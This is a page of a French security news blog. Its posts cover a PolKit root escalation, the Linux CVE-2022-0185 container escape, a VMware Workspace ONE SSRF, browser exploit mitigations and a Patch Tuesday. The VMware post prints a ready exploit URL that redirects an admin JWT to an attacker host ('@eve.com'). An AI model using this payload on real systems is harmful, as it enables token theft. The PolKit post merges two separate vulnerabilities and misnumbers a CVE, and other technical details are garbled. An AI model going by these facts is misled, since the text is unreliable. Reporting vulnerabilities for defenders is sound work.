learn.hack.repeat

Étiquette : Vulnérabilité Page 9 of 15

Un PolKit 12 ans d’âge svp!

12 ans. C’est le temps pendant lequel une vulnérabilité dans PolKit (anciennement Policykit), un système de gestion des autorisations largement utilisé par les distributions Linux les plus populaires, a été cachée. La faille se trouve dans le composant ‘pkexec’, qui permet une fonctionnalité similaire à ‘sudo’, c’est-à-dire l’exécution d’une commande avec les privilèges d’un autre compte ou utilisateur. Par conséquent, lorsqu’il est exploité, il permet l’élévation des privilèges de l’utilisateur root, puisque ‘pkexec’ est un binaire SUID root.

En plus d’être présent dans presque toutes les distributions Linux, l’exploitation est triviale. Grosso modo, il suffit de manipuler uniquement les variables d’environnement pour l’effectuer. En d’autres termes, il ne s’agit pas d’un exploit typique, dans lequel il faut échapper à la protection et disposer d’un contexte d’exécution favorable, mais le succès de l’exploit est pratiquement garanti. En fait, un grand nombre d’exploits émergent pour cette vulnérabilité (avec CVE-2021-4043).

Il est intéressant de noter que la base de la faille a été décrite en 2013 dans un billet d’un chercheur australien, Ryan Mallon, qui prévenait que l’injection d’un pointeur nul dans le tableau d’arguments d’un programme pouvait avoir des conséquences désastreuses. Bien qu’il n’ait pas été en mesure à l’époque d’identifier un vecteur sur lequel appliquer son constat. Elle s’est finalement matérialisée par cette élévation de privilège, triviale à exploiter, rappelons-le.

Un article récemment publié par le chercheur en sécurité du GitHub Security Lab, Kevin Backhouse, détaille la procédure qui permet l’escalade des privilèges sur les systèmes Linux qui utilisent le service polkit.

Un attaquant non privilégié peut obtenir un shell avec l’utilisateur root en utilisant la vulnérabilité de contournement d’authentification dans le service polkit.

Bien que de nombreuses distributions Linux n’aient pas inclus la version vulnérable de polkit jusqu’à récemment, tout système Linux sur lequel est installé polkit 0.113 ou une version ultérieure est exposé à cette attaque.

La liste des distributions actuellement vulnérables partagée par Kevin Backhouse comprend des distributions populaires telles que RHEL 8, Fedora 21 (ou ultérieure), Ubuntu 20.04, ainsi que des versions instables comme Debian testing (« bullseye ») et ses dérivés.

L’exploitation de la vulnérabilité est extrêmement facile, ne nécessitant que quelques commandes de terminal utilisant uniquement des outils standard tels que bash, kill et dbus-send ; une démonstration vidéo fournie par Kevin Backhouse est incluse ci-dessous.

Lorsqu’un processus demandeur se déconnecte du service dbus juste avant que l’appel à polkit_system_bus_name_get_creds_sync soit lancé, le processus ne peut pas obtenir un uid et un pid uniques du processus et ne peut pas vérifier les privilèges du processus qui a fait la demande. La plus grande menace de cette vulnérabilité concerne la confidentialité et l’intégrité des données, ainsi que la disponibilité du système.

Plus d’information:
https://access.redhat.com/security/cve/CVE-2021-3560
https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-3560
https://github.com/berdav/CVE-2021-4034/blob/main/cve-2021-4034.c

Une vulnérabilité dans Linux permet de s’échapper des conteneurs Kubernetes

La nouvelle vulnérabilité CVE-2022-0185 dans le noyau Linux permet de prendre le contrôle du nœud tant que le conteneur a activé le privilège CAP_SYS_ADMIN.

Les mainteneurs du noyau Linux ont découvert une nouvelle vulnérabilité dans le noyau, identifiée comme CVE-2022-0185, qui pourrait être exploitée dans des environnements tels que Kubernetes pour échapper aux conteneurs et prendre le contrôle du nœud. L’exploitation de la faille nécessite que le conteneur ait la permission CAP_SYS_ADMIN activée, ce qui permet des actions telles que le montage de disques ou la définition de quotas sur le conteneur.

La vulnérabilité consiste en un sous-débit d’entier dans le composant de contexte du système de fichiers, par lequel la valeur peut être réduite en dessous de zéro et au lieu de prendre une valeur négative, atteindre la valeur maximale de l’entier. Ce bug peut être exploité pour écrire en dehors de la mémoire allouée et ainsi modifier d’autres valeurs dans l’espace.

En principe, d’autres technologies telles que Docker ne sont pas vulnérables à ce bug car seccomp est activé en standard. Cette fonctionnalité du noyau est utilisée pour restreindre les actions autorisées dans le conteneur, empêchant ainsi l’exploitation de la vulnérabilité. Cette restriction peut être testée en essayant d’exécuter ‘unshare’ sur l’instance, et vous verrez apparaître une erreur indiquant que l’opération n’est pas autorisée. En théorie, les opérateurs Kubernetes pourraient également activer seccomp par défaut, bien que cette fonctionnalité soit encore en phase de test.

La vulnérabilité a déjà été corrigée dans la version 5.16.2 de Linux, et est maintenant disponible dans la plupart des distributions telles que Redhat, Debian ou Ubuntu. La faille n’est présente qu’à partir de la version 5.1 du noyau, les versions antérieures n’ont donc pas besoin de corriger le problème. Une autre possibilité est de désactiver les espaces de noms des utilisateurs non privilégiés, pour lesquels vous pouvez utiliser : ‘sysctl -w kernel.unprivileged_userns_clone = 0’.

Pour l’instant, rien ne prouve qu’il ait été exploité par des attaquants, bien que des Proof of Concept (PoC) soient déjà disponibles et que d’autres utilisateurs les testent déjà. Le même utilisateur de Twitter a publié un repository où il promet de mettre en ligne ses résultats prochainement.

Il est recommander de mettre à jour dès que possible si vous avez des conteneurs qui utilisent la permission ‘CAP_SYS_ADMIN’. De plus, il convient généralement de ne pas accorder de permissions supplémentaires aux conteneurs, sauf si leur utilisation est vraiment nécessaire.

Plus d’information:
https://access.redhat.com/security/cve/CVE-2022-0185%0A
https://www.armosec.io/blog/cve-2022-0185-kubernetes-users/%0A
https://blog.aquasec.com/cve-2022-0185-linux-kernel-container-escape-in-kubernetes

Vol de jeton JWT dans VMWare Workspace ONE Access

Une vulnérabilité dans VMWare Workspace ONE Access (anciennement connu sous le nom de VMware Identity Manager), qui fournit une authentification multifactorielle à d’autres services, permet d’obtenir un jeton JWT avec des autorisations d’administrateur en exploitant un SSRF.

L’équipe de recherche d’Assetnote a découvert une vulnérabilité dans la fonction responsable de la surveillance des instances de VMWare Workspace ONE, grâce à laquelle des jetons JWT avec des autorisations d’administrateur peuvent être obtenus. La vulnérabilité exploite un SSRF (server-side request forgery), qui permet à une demande avec les informations d’identification d’être faite à un serveur contrôlé par l’attaquant.

VMWare Identity Manager, désormais connu sous le nom de Workspace ONE Access, est utilisé pour fournir une authentification multifactorielle, un accès restreint et une authentification unique aux services SaaS, aux sites Web et aux applications mobiles. Ce produit est utilisé par de multiples applications d’entreprise dans différents secteurs pour fournir une méthode d’authentification centralisée.

L’exploitation nécessite des informations d’identification d’accès au gestionnaire d’informations d’identification VMWare afin d’appeler la fonction dans ‘/SAAS/API/1.0/REST/system/health/instanceHealth’.
Ce chemin est chargé de demander la surveillance d’une des instances enregistrées dans le service. Pour ce faire, il reçoit deux paramètres : ‘hostname’ (le serveur distant à surveiller) et ‘path’ le chemin du serveur distant à appeler. Bien qu’une liste blanche vérifie que le premier appartient à l’une des instances configurées, le second n’est pas vérifié et peut être utilisé dans l’exploit. Si le code de la fonction est vérifié :

Construction de l’url à appeler depuis le VMWare Identity Manager. Source : Assetnote.

La première conditionnelle construit l’url en utilisant le ‘hostname’ et le ‘path’, et bien que dans une fonction précédente le ‘hostname’ soit vérifié (par exemple ‘bob.com’) en ne vérifiant pas si le chemin commence par un slash (‘/’) le symbole @ peut être utilisé (par exemple ‘@eve.com’) pour construire l’url ‘bob.com@eve.com’, étant ‘eve.com’ le destinataire réel de la requête. L’exemple complet de l’exploit serait : « /SAAS/API/1.0/REST/system/health/instanceHealth?hostname=bob.com&path=@eve.com ».

L’url construite à partir de la conditionnelle ci-dessus sera utilisée dans la fonction ‘getStatusFromRemoteHost’, qui fait une demande à l’url en incluant le jeton avec des autorisations d’administrateur. Si le serveur cible est contrôlé par un attaquant, comme dans l’exemple ci-dessus, l’attaquant recevra le jeton :

Fonction permettant d’obtenir l’état du serveur distant, indiquant la ligne avec le jeton à envoyer. Source : Assetnote.

La vulnérabilité a été identifiée comme étant CVE-2021-22056 avec un score de 7.5 (niveau de risque élevé). L’équipe de VMWare a publié un avis concernant cette vulnérabilité et d’autres, qui sont déjà corrigées. La vulnérabilité a été découverte le 5 octobre 2021, et résolue par VMWare le 17 décembre. Il est recommandé de mettre à jour dès que possible la dernière version disponible afin de résoudre ces problèmes.

Plus d’information:
https://blog.assetnote.io/2022/01/17/workspace-one-access-ssrf/

Browser nightmare

La sécurité des navigateurs s’est beaucoup améliorée ces dernières années, mais les dizaines de « 0days » découverts dans Chrome ces derniers temps font réagir le secteur. Chrome a annoncé qu’il mettrait en œuvre une spécification du W3C appelée accès au réseau privé (PNA), qui protégera les attaquants contre l’accès aux ressources internes telles que les routeurs ou les serveurs par CSRF dans le navigateur.

Edge, quant à lui, a fait un pas de plus. Il mettra en œuvre un mode de navigation spécialement conçu pour améliorer la sécurité contre les vulnérabilités inconnues (0days). Pour ce faire, elle a mis en œuvre une série de modifications du registre qui, une fois activées, permettront d’appliquer cette sécurité et d’autoriser des exceptions. Il s’agit de EnhanceSecurityMode, EnhanceSecurityModeBypassListDomains et EnhanceSecurityModeEnforceListDomains.
Cela permettra d’activer trois mesures génériques d’atténuation des exploits dans le navigateur :

  • Hardware-enforced Stack Protection : elle permet une protection au niveau du processeur (en prenant en charge la technologie Shadow stack sur AMD et la technologie CET sur Intel) contre les attaques typiques par débordement de pile.
  • Arbitrary Code Guard (ACG), Alors que grâce à la technologie CIG de Windows, un processus ne peut pas charger de binaires non signés, ACG empêche cela avec du code mappé en mémoire.
  • Content Flow Guard (CFG). Une technologie qui a échoué (Microsoft a dû arrêter de payer des primes pour le contournement) pour tenter de prévenir à nouveau les exploits fonctionnels.

Plus d’information:
https://docs.microsoft.com/en-us/deployedge/microsoft-edge-relnote-beta-channel#version-980110823-january-14

Patch Tuesday

Microsoft a publié, comme chaque deuxième mardi du mois, sa série de correctifs de sécurité. Au cours de ce mois, Microsoft a corrigé un total de 97 vulnérabilités, dont 9 vulnérabilités à risque critique, ainsi que 6 vulnérabilités 0day, qui ont été publiquement divulguées sans l’existence d’un correctif de sécurité.

Les vulnérabilités, établies comme critiques par Microsoft, et corrigées dans le Patch Tuesday sont les suivantes :

Les vulnérabilités, établies comme 0day par Microsoft, ont été identifiées comme CVE-2021-22947, CVE-2021-36976, CVE-2022-21919, CVE-2022-21836, CVE-2022-21839 et CVE-2022-21874.

Actuellement, aucune activité liée aux vulnérabilités divulguées n’a été détectée. Cependant, étant donné qu’il existe des POC publiques pour certaines de ces vulnérabilités, il est recommandé d’appliquer de toute urgence les correctifs de sécurité de Microsoft.

Pour obtenir une liste complète des vulnérabilités avec des correctifs de sécurité, veuillez consulter le guide des mises à jour de sécurité de Microsoft.

Plus d’information:
https://msrc.microsoft.com/update-guide/vulnerability
https://www.tenable.com/blog/microsofts-january-2022-patch-tuesday-addresses-97-cves-cve-2022-21907

Page 9 of 15

Fièrement propulsé par WordPress & Thème par Anders Norén